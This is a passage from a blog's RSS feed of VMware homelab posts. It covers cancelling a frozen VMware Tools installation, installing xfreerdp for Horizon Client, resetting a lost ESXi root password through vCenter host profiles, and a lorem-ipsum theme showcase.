&lt;p&gt;Here’s going to be a link to &lt;a href=&#34;https://ssh.guru/homelab-2-part-i-followup-esxi-in-esxi/&#34;&gt;Part 2&lt;/a&gt; at some point in the future.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Killing frozen VMware Tools installation</title>
      <link>/posts/181001-frozen-vmware-tools-setup/</link>
      <pubDate>Mon, 01 Oct 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/181001-frozen-vmware-tools-setup/</guid>
      <description>Here’s another annoying thing – stuck VMware Tools installation.
You never know when it’s gonna hit you, but oh boy – we gonna hit it back fast.
1. The Scenario After launching the installation of VMware Tools on a VM, it goes for a while and never finishes. Sometimes this means the installation also never starts/finishes on guest OS, but that’s not always the case. Fortunately getting rid of the annoying “in progress” message in vCenter/ESXi is not really hard and can be done in two easy steps.</description>
      <content>&lt;p&gt;Here’s another annoying thing – stuck VMware Tools installation.&lt;/p&gt;
&lt;p&gt;You never know when it’s gonna hit you, but oh boy – we gonna hit it back fast.&lt;/p&gt;
&lt;h2 id=&#34;1-the-scenario&#34;&gt;1. The Scenario&lt;/h2&gt;
&lt;p&gt;After launching the installation of VMware Tools on a VM, it goes for a while and never finishes. Sometimes this means the installation also never starts/finishes on guest OS, but that’s not always the case. Fortunately getting rid of the annoying “in progress” message in vCenter/ESXi is not really hard and can be done in two easy steps. You can restart the installation of VMware Tools afterwards.&lt;/p&gt;
&lt;h2 id=&#34;2-the-solution&#34;&gt;2. The Solution&lt;/h2&gt;
&lt;p&gt;Before we get started, make sure you have enabled SSH access on ESXi host running the affected VM: &lt;a href=&#34;https://kb.vmware.com/s/article/2004746&#34;&gt;KB Article&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here’s how to kill the VMware Tools installation process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect to ESXi host as root&lt;/li&gt;
&lt;li&gt;Run the following command (remember to substitute vm_name with the actual name of the VM):&lt;br&gt;
&lt;code&gt;vim-cmd vmsvc/getallvms | grep “vm_name&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Note down the ID process number on the left
&lt;img src=&#34;/posts/181001-frozen-vmware-tools-setup/vim-cdm.png&#34; alt=&#34;vim-cdm&#34;&gt;&lt;/li&gt;
&lt;li&gt;Run this command to kill the installation process (replace id_number with the actual ID you found by running the previous command):&lt;br&gt;
&lt;code&gt;vim-cmd vmsvc/tools.cancelinstall id_number&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;3-the-conclusion&#34;&gt;3. The Conclusion&lt;/h2&gt;
&lt;p&gt;This was simple, wasn’t it? As I wrote in the scenario, sometimes after killing the process you might find the VM had already installed VMware Tools successfully or that the installation has never started. In the latter case you can freely start it again. Let’s just hope it will finish this time and you won’t have to come back to this post again.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Linux Horizon Client &amp; RDP</title>
      <link>/posts/180901-linux-horizon-rdp/</link>
      <pubDate>Sat, 01 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/180901-linux-horizon-rdp/</guid>
      <description>The story how Linux failed me or how I failed to understand Linux.
When I first started using VMware View, I instantly decided to use it on my Linux laptop. Everything went fine without any issues up until I had to connect to Horizon Server with no VMware Blast support (RDP only).
Turned out, the Linux version of Horizon Client did not support RDP connections by default.
Well… turned out it did – I just wasn’t aware of it.</description>
      <content>&lt;p&gt;The story how Linux failed me or how I failed to understand Linux.&lt;/p&gt;
&lt;p&gt;When I first started using VMware View, I instantly decided to use it on my Linux laptop. Everything went fine without any issues up until I had to connect to Horizon Server with no VMware Blast support (RDP only).&lt;/p&gt;
&lt;p&gt;Turned out, the Linux version of Horizon Client did not support RDP connections by default.&lt;/p&gt;
&lt;p&gt;Well… turned out it did – I just wasn’t aware of it.&lt;/p&gt;
&lt;p&gt;The missing bit was &lt;code&gt;xfreerdp&lt;/code&gt; package, which Horizon is in fact configured to use for RDP connections. The only problem was that this package is not installed along VMware Horizon Client package (it is not its dependency).&lt;/p&gt;
&lt;p&gt;Just to make this post a bit longer (and useful) let me post below how to fix this issue on the most popular Linux flavors (as root):&lt;/p&gt;
&lt;p&gt;Debian and co. (Ubuntu, Lubuntu, Kali etc.):&lt;br&gt;
&lt;code&gt;&amp;gt;apt-get install xfreerdp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;RedHat and co. (Fedora, CentOS etc.):&lt;br&gt;
&lt;code&gt;yum install freerdp.x86_64 freerdp-libs.x86_64 freerdp-plugins.x86_64&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Arch and co. (Antergos, Manjaro etc.):&lt;br&gt;
&lt;code&gt;pacman -S xfreerdp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Suse and co.:&lt;br&gt;
&lt;code&gt;zypper addrepo https://download.opensuse.org/repositories/X11:RemoteDesktop/openSUSE_Tumbleweed/X11:RemoteDesktop.repo&lt;/code&gt;
&lt;code&gt;zypper refresh&lt;/code&gt;&lt;br&gt;
&lt;code&gt;zypper install freerdp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;xfreerdp&lt;/code&gt; does not require any additional configuration to work with VMware Horizon Client. You can connect to your VDI straight away after installing it.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Reset ESXi root password</title>
      <link>/posts/180801-esxi-pass-reset/</link>
      <pubDate>Wed, 01 Aug 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/180801-esxi-pass-reset/</guid>
      <description>Admit it. This can happen to all of us. Somebody was changing the root password while intoxicated, without a notepad at hand or had a sudden memory loss.
Whatever’s the reason, you’re now locked out of your own host. What now?
1. The Scenario You’ve lost your ESXi root password. Simple as that. You might not like it, but that’s the world we’re living in. It’s your fault, you know it, the world will never be the same unless you quickly open up your browser and look for a solution.</description>
      <content>&lt;p&gt;Admit it. This can happen to all of us. Somebody was changing the root password while intoxicated, without a notepad at hand or had a sudden memory loss.&lt;/p&gt;
&lt;p&gt;Whatever’s the reason, you’re now locked out of your own host. What now?&lt;/p&gt;
&lt;h2 id=&#34;1-the-scenario&#34;&gt;1. The Scenario&lt;/h2&gt;
&lt;p&gt;You’ve lost your ESXi root password. Simple as that. You might not like it, but that’s the world we’re living in. It’s your fault, you know it, the world will never be the same unless you quickly open up your browser and look for a solution. Take a deep breath, because that’s gonna be tricky (…as tying your shoes).&lt;/p&gt;
&lt;h2 id=&#34;2-the-solution&#34;&gt;2. The Solution&lt;/h2&gt;
&lt;p&gt;Before we begin there are two things you need to check before proceeding. For this method to work:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The ESXi host must be reachable via the network and managed through a vCenter Server (of any kind).&lt;/li&gt;
&lt;li&gt;ESXi host must be configured with vSphere Enterprise Plus license (you can assign this license for the password reset operation and remove it afterwards). In critical situations, when there wouldn’t be enough time to get it, you can substitute Enterprise Plus license with the 60-day trial license for which you can apply on VMware website.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After making sure your environment supports the requirements above, you can proceed to the next steps.&lt;/p&gt;
&lt;p&gt;In this method, we are going to use host profiles, which is nothing but a template of configuration settings that you can apply to an ESXi host.&lt;br&gt;
Because of the above, this guide will be split into two basic parts – creating a host profile and applying it to ESXi host.&lt;/p&gt;
&lt;p&gt;Creating “Password Reset” Host Profile:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Login to vCenter Server using vSphere Web Client&lt;/li&gt;
&lt;li&gt;Click on Host Profile icon on the home page and select “Extract profile from a host”
&lt;img src=&#34;/posts/180801-esxi-pass-reset/hostprofile_exctract.jpg&#34; alt=&#34;hostprofile_exctract&#34;&gt;&lt;/li&gt;
&lt;li&gt;On the following page, select a host for which you &lt;strong&gt;know&lt;/strong&gt; the root password&lt;/li&gt;
&lt;li&gt;On the last page, type in the name for the host profile (I suggest something self-explanatory such as &lt;code&gt;ESXi Root Password&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;Right click on the new Host Profile and select &lt;code&gt;Edit Settings&lt;/code&gt;;
&lt;img src=&#34;/posts/180801-esxi-pass-reset/hostprofile_reset.jpg&#34; alt=&#34;hostprofile_reset&#34;&gt;&lt;/li&gt;
&lt;li&gt;In the pop-up dialog, navigate to &lt;code&gt;//Security and Services/Security Settings/Security/User Configuration/root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Select &lt;code&gt;Fixed password configuration&lt;/code&gt; under &lt;code&gt;Password&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Make sure to deselect all other configuration and click “Finish”.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you don’t have any other ESXi host in your environment (e.g. in a lab), you can quickly deploy a new one without getting new hardware by creating a VM and installing ESXi on it. Remember to select the following option to enable nested virtualization:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/180801-esxi-pass-reset/nested_esxi-1.png&#34; alt=&#34;nested_esxi-1&#34;&gt;&lt;/p&gt;
&lt;p&gt;Applying “Password Reset” Host Profile to ESXi:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Select the Attach/Detach Host icon on the Action menu
&lt;img src=&#34;/posts/180801-esxi-pass-reset/hostprofile_attach.jpg&#34; alt=&#34;hostprofile_attach&#34;&gt;&lt;/li&gt;
&lt;li&gt;Select the ESXi host for which you &lt;strong&gt;do not know&lt;/strong&gt; the password and click “Attach”&lt;/li&gt;
&lt;li&gt;Confirm the change by selecting “Finish”&lt;/li&gt;
&lt;li&gt;The last thing left to do is to force the password reset. At the moment no changes were applied to the host yet as vCenter detected that the current (lost) password does not match the new (known) password from our Host Profile  5. Go to “Monitor” tab on the new Host Profile we created earlier&lt;/li&gt;
&lt;li&gt;Select “Compliance” sub-tab&lt;/li&gt;
&lt;li&gt;Select the “Tools” icon on the left
&lt;img src=&#34;/posts/180801-esxi-pass-reset/hostprofile_tools.jpg&#34; alt=&#34;hostprofile_tools&#34;&gt;&lt;/li&gt;
&lt;li&gt;Click “Finish” in the new window. This will launch the remediation of the ESXi host based on the attached Host Profile, ergo resetting its root password&lt;/li&gt;
&lt;li&gt;Done; you can now login to your ESXi host using the known password&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;3-the-conclusion&#34;&gt;3. The Conclusion&lt;/h2&gt;
&lt;p&gt;As you can see the process is pretty straight forward. The only real way to screw this process up is:&lt;br&gt;
a) leaving other configuration options enabled in the extracted Host Profile
b) forgetting to launch the remediation after attaching the Host Profile&lt;br&gt;
Other than that it is pretty much impossible to destroy your environment with this method. It might seem a bit convoluted for a such simple task, but trust me – it is the simplest way to do that without exposing your environment to any possible “dangers” 😉&lt;/p&gt;
&lt;p&gt;I hope you found this guide informative and useful to you. See ya next time.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Showcase</title>
      <link>/showcase/</link>
      <pubDate>Wed, 18 Jul 2018 00:00:00 +0000</pubDate>
      
      <guid>/showcase/</guid>
      <description>Header 2 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam nec interdum metus. Aenean rutrum ligula sodales ex auctor, sed tempus dui mollis. Curabitur ipsum dui, aliquet nec commodo at, tristique eget ante. Donec quis dolor nec nunc mollis interdum vel in purus. Sed vitae leo scelerisque, sollicitudin elit sed, congue ante. In augue nisl, vestibulum commodo est a, tristique porttitor est. Proin laoreet iaculis ornare. Nullam ut neque quam.</description>
      <content>&lt;h2 id=&#34;header-2&#34;&gt;Header 2&lt;/h2&gt;
&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam nec interdum metus. Aenean rutrum ligula sodales ex auctor, sed tempus dui mollis. Curabitur ipsum dui, aliquet nec commodo at, tristique eget ante. &lt;strong&gt;Donec quis dolor nec nunc mollis interdum vel in purus&lt;/strong&gt;. Sed vitae leo scelerisque, sollicitudin elit sed, congue ante. In augue nisl, vestibulum commodo est a, tristique porttitor est. Proin laoreet iaculis ornare. Nullam ut neque quam.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fusce pharetra suscipit orci nec tempor. Quisque vitae sem sit amet sem mollis consequat. Sed at imperdiet lorem. Vestibulum pharetra faucibus odio, ac feugiat tellus sollicitudin at. Pellentesque varius tristique mi imperdiet dapibus. Duis orci odio, sodales lacinia venenatis sit amet, feugiat et diam.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;header-3&#34;&gt;Header 3&lt;/h3&gt;
&lt;p&gt;Nulla libero turpis, lacinia vitae cursus ut, auctor dictum nisl. Fusce varius felis nec sem ullamcorper, at convallis nisi vestibulum. Duis risus odio, porta sit amet placerat mollis, tincidunt non mauris. Suspendisse fringilla, &lt;code&gt;odio a dignissim pharetra&lt;/code&gt;, est urna sollicitudin urna, eu scelerisque magna ex vitae tellus.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* PostCSS code */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;pre&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;background&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#1a1a1d&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;padding&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;border-radius&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;rem&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;overflow&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;auto&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;@media&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;(--phone)&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;white-space&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;pre-wrap&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;word-wrap&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;break-word&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;code&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;background&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;none&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;!important&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#ccc&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;padding&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;font-size&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;inherit&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// JS code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;menuTrigger&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;querySelector&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.menu-trigger&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;menu&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;querySelector&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.menu&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mobileQuery&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;getComputedStyle&lt;/span&gt;(document.&lt;span style=&#34;color:#a6e22e&#34;&gt;body&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;getPropertyValue&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--phoneWidth&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;isMobile&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; () =&amp;gt; window.&lt;span style=&#34;color:#a6e22e&#34;&gt;matchMedia&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;mobileQuery&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;matches&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;isMobileMenu&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;menuTrigger&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;classList&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;toggle&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;hidden&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;isMobile&lt;/span&gt;())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;menu&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;classList&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;toggle&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;hidden&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;isMobile&lt;/span&gt;())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;isMobileMenu&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;menuTrigger&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;addEventListener&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;, () =&amp;gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;menu&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;classList&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;toggle&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;hidden&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;window.&lt;span style=&#34;color:#a6e22e&#34;&gt;addEventListener&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;resize&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;isMobileMenu&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;!-- HTML code --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;section&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;main&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;h1&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&amp;gt;{{ .Title }}&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {{ range .Pages }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      {{ .Render &amp;#34;summary&amp;#34;}}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {{ end }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;section&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;header-4&#34;&gt;Header 4&lt;/h4&gt;
&lt;p&gt;Curabitur scelerisque felis viverra varius scelerisque. Ut enim libero, molestie gravida blandit at, mollis ornare tellus. Cras arcu mi, ultrices vel pulvinar vel, volutpat eu tortor. Nullam nec eros quis massa ultrices iaculis sed in metus. Praesent sollicitudin sem sit amet orci tempor gravida.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Maecenas elementum vitae nibh vitae porttitor.&lt;/li&gt;
&lt;li&gt;Aenean consequat, risus ut cursus placerat, arcu nulla sodales risus, ut molestie tellus tellus et dui.&lt;/li&gt;
&lt;li&gt;Integer imperdiet turpis vitae lacus imperdiet, ut ornare ligula auctor. Integer in mi eu velit vehicula suscipit eget vulputate nulla.&lt;/li&gt;
&lt;li&gt;Etiam vitae enim quis velit lobortis placerat a ut sem.
&lt;ul&gt;
&lt;li&gt;Curabitur lobortis ante sit amet orci pulvinar, sollicitudin viverra nunc accumsan.&lt;/li&gt;
&lt;li&gt;Praesent fermentum orci quis leo facilisis posuere.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aliquam erat volutpat. In hac habitasse platea dictumst. Nunc ut tincidunt mauris. Sed at gravida risus, id semper magna. Nullam vitae enim mattis, sodales neque non, pharetra elit. Cras sit amet sagittis augue, et finibus turpis. Ut tempus tincidunt diam vel pharetra. Nulla porttitor odio sit amet nulla scelerisque, quis aliquam mi imperdiet. Sed tincidunt dui vel tellus vestibulum rhoncus. Donec tempus ultrices velit.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Underpowered vSphere</title>
      <link>/posts/180701-underpowered-vsphere/</link>
      <pubDate>Sun, 01 Jul 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/180701-underpowered-vsphere/</guid>
      <description>1. The scenario: Your lovely 4 x Intel NUC lab burned down. Your only working lab worthy (nah) device is an old i5 8GB workstation running Windows Server 2012 R2. Even though you’d never consider this previously, you now need to run your entire lab off this thing. What’s the first problem you’re going to come across? vSphere Appliance 6.x or vSphere Server for Windows 6.x will refuse to even install with under 10GB of RAM available</description>
      <content>&lt;h2 id=&#34;1-the-scenario&#34;&gt;1. The scenario:&lt;/h2&gt;
